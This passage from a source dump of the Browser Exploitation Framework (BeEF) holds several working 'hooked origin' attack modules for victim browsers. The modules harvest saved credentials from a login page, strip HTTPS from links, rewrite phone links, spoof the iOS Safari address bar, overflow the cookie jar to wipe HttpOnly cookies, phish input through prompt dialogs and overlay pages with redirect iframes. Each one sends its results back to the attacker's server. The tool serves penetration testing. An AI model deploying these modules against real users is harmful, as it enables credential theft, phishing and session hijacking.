{\n\t\t\t// return if no forms were found or login page is cross-origin\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not read form data from '+login_url);\n\t\t}\n\t\tdocument.body.removeChild(iframe);\n\t}\n\n\t// wait until the login page has loaded\n\tsetTimeout(function() {waituntilok()},1000);\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_stored_credentials/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_stored_credentials:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Get Stored Credentials\"\n            description: \"This module retrieves saved username/password combinations from the login page on the hooked origin.<br /><br />It will fail if more than one set of origin credentials are saved in the browser.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\"]\n                not_working: [\"All\"]\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/get_stored_credentials/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_stored_credentials < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    uri = \"#{base_host}/demos/butcher/index.html\"\n    [\n      { 'name' => 'login_url', 'description' => 'Login URL', 'ui_label' => 'Login URL', 'value' => uri, 'width' => '400px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['form_data'] = @datastore['form_data']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>')+' links rewritten to <%= @url %>');\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        link_rewrite:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Link Rewrite\"\n            description: \"This module will rewrite all the href attributes of all matched links.\"\n            authors: [\"passbe\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Link_rewrite < BeEF::Core::Command\n  def self.options\n    [\n      { 'ui_label' => 'URL', 'name' => 'url', 'description' => 'Target URL', 'value' => 'https://beefproject.com/', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_click_events/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksClickEvents('<%= @url %>')+' links rewritten to <%= @url %>');\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_click_events/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        link_rewrite_click_events:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Link Rewrite (Click Events)\"\n            description: \"This module will rewrite all the href attributes of all matched links using Bilawal Hameed's updating of click event handling. This will hide the target site for all updated links.\"\n            authors: [\"xntrik\", \"@bilawalhameed\", \"passbe\"]\n            target:\n                not_working: [\"O\"]\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_click_events/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Link_rewrite_click_events < BeEF::Core::Command\n  def self.options\n    [\n      { 'ui_label' => 'URL', 'name' => 'url', 'description' => 'Target URL', 'value' => 'https://beefproject.com/', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_sslstrip/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tselector = \"a\";\n\told_protocol = \"https\";\n\tnew_protocol = \"http\";\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, selector)+' '+old_protocol+' links rewritten to '+new_protocol);\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_sslstrip/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        link_rewrite_sslstrip:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Link Rewrite (HTTPS)\"\n            description: \"This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_sslstrip/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Link_rewrite_sslstrip < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_tel/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar tel_number = \"<%= @tel_number %>\";\n\tvar selector   = \"a\";\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteTelLinks(tel_number, selector)+' telephone (tel) links rewritten to '+tel_number);\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_tel/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        link_rewrite_tel:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Link Rewrite (TEL)\"\n            description: \"This module will rewrite all the href attributes of telephone links (ie, tel:5558585) to call a number of your choice.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/link_rewrite_tel/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Link_rewrite_tel < BeEF::Core::Command\n  def self.options\n    [\n      { 'ui_label' => 'Number', 'name' => 'tel_number', 'description' => 'New telephone number', 'value' => '5558585', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/mobilesafari_address_spoofing/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nvar somethingsomething = function() {\n\tvar fake_url = \"<%= @fake_url %>\";\n\tvar real_url = \"<%= @real_url %>\";\n\n\tvar newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes');\n\tnewWindow.document.write('<iframe style=\"width:100%;height:100%;border:0;padding:0;margin:0;\" src=\"' + real_url + '\"></iframe>');\n\tnewWindow.focus();\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked');\t\n}\n\nbeef.execute(function() {\n\n\t$j('<%= @domselectah %>').each(function() {\n\t\t$j(this).attr('href','#').click(function() {\n\t\t\tsomethingsomething();\n\t\t\treturn true;\n\t\t});\n\t});\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten');\n\n});"
  },
  {
    "path": "modules/browser/hooked_origin/mobilesafari_address_spoofing/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        mobilesafari_address_spoofing:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"iOS Address Bar Spoofing\"\n            description: \"Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')\"\n            authors: [\"bcoles\", \"xntrik\", \"majorsecurity.net\"]\n            target:\n                working:\n                    S:\n                        os: [\"iOS\"]\n                not_working:\n                    ALL:\n                        os: [\"All\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/mobilesafari_address_spoofing/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Mobilesafari_address_spoofing < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'fake_url', 'ui_label' => 'Fake URL', 'type' => 'text', 'value' => 'http://en.wikipedia.org/wiki/Beef' },\n      { 'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'http://www.beefproject.com' },\n      { 'name' => 'domselectah', 'ui_label' => 'jQuery Selector for Link rewriting. \\'a\\' will overwrite all links', 'type' => 'text', 'value' => 'a' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['results'] = @datastore['results']\n    content['query'] = @datastore['query']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/overflow_cookiejar/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n   var preserveCookies = '<%= @preserveCookies %>'\n\n   var initialtimestamp;\n   var currenttimestamp;\n   var i = 0;\n   var preservedCookies;\n\t\n   function setCookie(cname,cvalue){\n      document.cookie = cname + \"=\" + cvalue;\n   }\n\n   function getCookie(cname){\n      var name = cname + \"=\";\n      var ca = document.cookie.split(';');\n\t\t\n      for(var i=0; i<ca.length; i++){\n         var c = ca[i].trim();\n         if (c.indexOf(name)==0) return c.substring(name.length,c.length);\n      }\n      return \"\";\n   }\n \n   function deleteAllCookies(){\n      var cookies = document.cookie.split(\";\");\n\n      if (cookies.length > 0){\n         var cookie = cookies[0];\n         var eqPos = cookie.indexOf(\"=\");\n         var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;\n\n         document.cookie = name + \"=;expires=Thu, 01 Jan 1970 00:00:00 GMT\";\n         if (cookies.length > 1){\n            //Timeout needed because otherwise cookie write loop freezes render thread\n            setTimeout(deleteAllCookies,1);\n         }\n         else{\n            if (preserveCookies){\n               var pc = preservedCookies.split(';');\n\n               for(var i=0; i<pc.length; i++){\n                  var c = pc[i].trim();\n                  document.cookie = c;\n               }\n            }\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'Attempt to overflow the Cookie Jar completed');\n         }\n      }\n   }\n\n   function overflowCookie() {\n      if(getCookie(initialtimestamp) === \"BeEF\") {\n         currenttimestamp = Date.now();\n         setCookie(currenttimestamp,\"BeEF\");\n         //Timeout needed because otherwise cookie write loop freezes render thread\n         setTimeout(overflowCookie, 1);\n      }\n      else{\n         deleteAllCookies();\n      }\n   }\n\n   function overflowCookieJar(){\n      preservedCookies = document.cookie;\n      initialtimestamp = Date.now();\n      setCookie(initialtimestamp,\"BeEF\");\n      overflowCookie();\n   }\n\n   overflowCookieJar();\n \n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/overflow_cookiejar/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        overflow_cookiejar:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Overflow Cookie Jar\"\n            description: \"This module attempts to perform John Wilander's CookieJar overflow.  He demonstrated this in his <a href='https://www.owasp.org/index.php/OWASP_1-Liner'>Owasp 1-liner project</a>.  With this module, cookies that have the HTTPOnly-flag and/or HTTPS-flag can be wiped.  You can try to recreate these cookies afterwards as normal cookies.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"S\", \"C\", \"FF\", \"IE\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/overflow_cookiejar/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Overflow_cookiejar < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'preserveCookies', 'type' => 'checkbox', 'ui_label' => 'Attempt to preserve all non-httpOnly cookies', 'checked' => 'true' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/prompt_dialog/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  \n  var answer = prompt(\"<%== @question %>\",\"\")\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/prompt_dialog/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        prompt_dialog:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Create Prompt Dialog\"\n            description: \"Sends a prompt dialog to the hooked browser.\"\n            authors: [\"wade\", \"bm\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/browser/hooked_origin/prompt_dialog/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Prompt_dialog < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'question', 'description' => 'Prompt text', 'ui_label' => 'Prompt text' }\n    ]\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    #    return if @datastore['answer']==''\n\n    save({ 'answer' => @datastore['answer'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/remove_stuck_iframes/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\ttry {\n\t\tvar html_head = document.head.innerHTML.toString();\n\t} catch (e) {\n\t\tvar html_head = \"Error: document has no head\";\n\t}\n\ttry {\n\t\tvar html_body = document.body.innerHTML.toString();\n\t} catch (e) {\n\t\tvar html_body = \"Error: document has no body\";\n\t}\n        try {\n\t\tvar iframes = document.getElementsByTagName('iframe');\n\t\tvar iframe_count = iframes.length;\n\t\tfor(var i=0; i<iframe_count; i++){\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'iframe_result=iframe'+i+'_found');\n\t\t\tiframes[i].parentNode.removeChild(iframes[i]);\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'iframe_result=iframe'+i+'_removed');\n\t\t}\n\t\tvar iframe_ = \"Info: \"+ iframe_count +\" iframe(s) processed\";\n\t} catch (e) {\n\t\tvar iframe_ = \"Error: can not remove iframe\";\n\t}\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/remove_stuck_iframes/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        remove_stuck_iframes:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Remove stuck iframe\"\n            description: \"This module will remove any stuck iframes (beware it will remove all of them on that node!).\"\n            authors: [\"kxynos\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/remove_stuck_iframes/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Remove_stuck_iframes < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['head'] = @datastore['head']\n    content['body'] = @datastore['body']\n    content['iframe_'] = @datastore['iframe_']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/replace_video/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t$j('<%= @jquery_selector %>').each(function(){\n                var width = $j(this).css('width');\n                var height = $j(this).css('height');\n                $j(this).replaceWith('<embed src=\"http://www.youtube.com/v/<%= @youtube_id %>?fs=1&amp;hl=en_US&amp;autoplay=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"' + width + '\" height=\"' + height + '\">');\n    });\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Replace Video Successful\");\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/replace_video/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        replace_video:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Replace Videos\"\n            description: \"Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default).\"\n            authors: [\"Yori Kvitchko\", \"antisnatchor\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/browser/hooked_origin/replace_video/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Replace_video < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'XZ5TajZYW6Y', 'width' => '150px' },\n      { 'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width' => '150px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/rickroll/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t$j('body').html('');\n\n\t$j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'});\n\t$j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'});\n\n        $j('body').html('<iframe width=\"100%\" height=\"100%\" src=\"//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1\" allow=\"autoplay; encrypted-media\" frameborder=\"0\" allowfullscreen></iframe>');\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Rickroll Successful\");\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/rickroll/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        rickroll:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Redirect Browser (Rickroll)\"\n            description: \"Overwrite the body of the page the victim is on with a full screen Rickroll.\"\n            authors: [\"Yori Kvitchko\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/browser/hooked_origin/rickroll/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Rickroll < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/site_redirect/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\twindow.location = \"<%= @redirect_url %>\";\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>');\n\n});\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/site_redirect/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        site_redirect:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Redirect Browser (Standard)\"\n            description: \"This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input.\"\n            authors: [\"wade\", \"vo\"]\n            target:\n                user_notify: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/site_redirect/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Site_redirect < BeEF::Core::Command\n  def self.options\n    [\n      { 'ui_label' => 'Redirect URL', 'name' => 'redirect_url', 'description' => 'The URL the target will be redirected to.', 'value' => 'https://beefproject.com/',\n        'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/site_redirect_iframe/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = 'Iframe successfully created!';\n\tvar title = '<%= @iframe_title %>';\n\tvar iframe_src = '<%= @iframe_src %>';\n\tvar iframe_favicon = '<%= @iframe_favicon %>';\n\tvar sent = false;\n\n\t$j(\"iframe\").remove();\n\t\n\tbeef.dom.createIframe('fullscreen', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });\n\tdocument.body.scroll = \"no\";\n\tdocument.documentElement.style.overflow = 'hidden';\n\tbeef.browser.changeFavicon(iframe_favicon);\n\n\tsetTimeout(function() { \n\t\tif(!sent) {\n\t\t\tresult = 'Iframe failed to load, timeout';\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);\n\t\t\tdocument.title = iframe_src + \" is not available\";\n\t\t\tsent = true;\n\t\t}\n\t}, <%= @iframe_timeout %>);\n\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/site_redirect_iframe/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        site_redirect_iframe:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Redirect Browser (iFrame)\"\n            description: \"This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser.\"\n            authors: [\"ethicalhack3r\", \"Yori Kvitchko\"]\n            target:\n                user_notify: [\"ALL\"]\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/site_redirect_iframe/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Site_redirect_iframe < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    favicon_uri = \"#{base_host}/ui/media/images/favicon.ico\"\n    [\n      { 'name' => 'iframe_title', 'description' => 'Title of the iFrame', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project',\n        'width' => '200px' },\n      { 'name' => 'iframe_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width' => '200px' },\n\n      { 'name' => 'iframe_src', 'description' => 'Source of the iFrame', 'ui_label' => 'Redirect URL', 'value' => 'https://beefproject.com/', 'width' => '200px' },\n      { 'name' => 'iframe_timeout', 'description' => 'iFrame timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width' => '150px' }\n    ]\n  end\n\n  # This method is being called when a hooked browser sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/play_sound/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\t\n  var url = \"<%== @sound_file_uri %>\";\n  try {\t\n    var sound = new Audio(url);\n    sound.play();\n    beef.debug(\"[Play Sound] Played sound successfully: \" + url);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Sound Played\", beef.are.status_success());\n  } catch (e) {\n    beef.debug(\"[Play Sound] HTML5 audio unsupported. Could not play: \" + url);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=audio not supported\", beef.are.status_error());\n  }\n});\n"
  },
  {
    "path": "modules/browser/play_sound/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Play_sound:\n            enable: true\n            category: \"Browser\"\n            name: \"Play Sound\"\n            description: \"Play a sound on the hooked browser.\"\n            authors: [\"Saafan\"]\n            # http://caniuse.com/audio\n            target:\n                working: [\"All\"]\n                not_working:\n                    IE:\n                        min_ver: 1\n                        max_ver: 8\n                    FF:\n                        min_ver: 1\n                        max_ver: 2\n                    S:\n                        min_ver: 1\n                        max_ver: 3\n"
  },
  {
    "path": "modules/browser/play_sound/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Play_sound < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'sound_file_uri',\n      'description' => 'The web accessible URI for the wave sound file.',\n      'ui_label' => 'Sound File Path',\n      'value' => '',\n      'width' => '300px'\n    }]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/remove_hook_element/command.js",
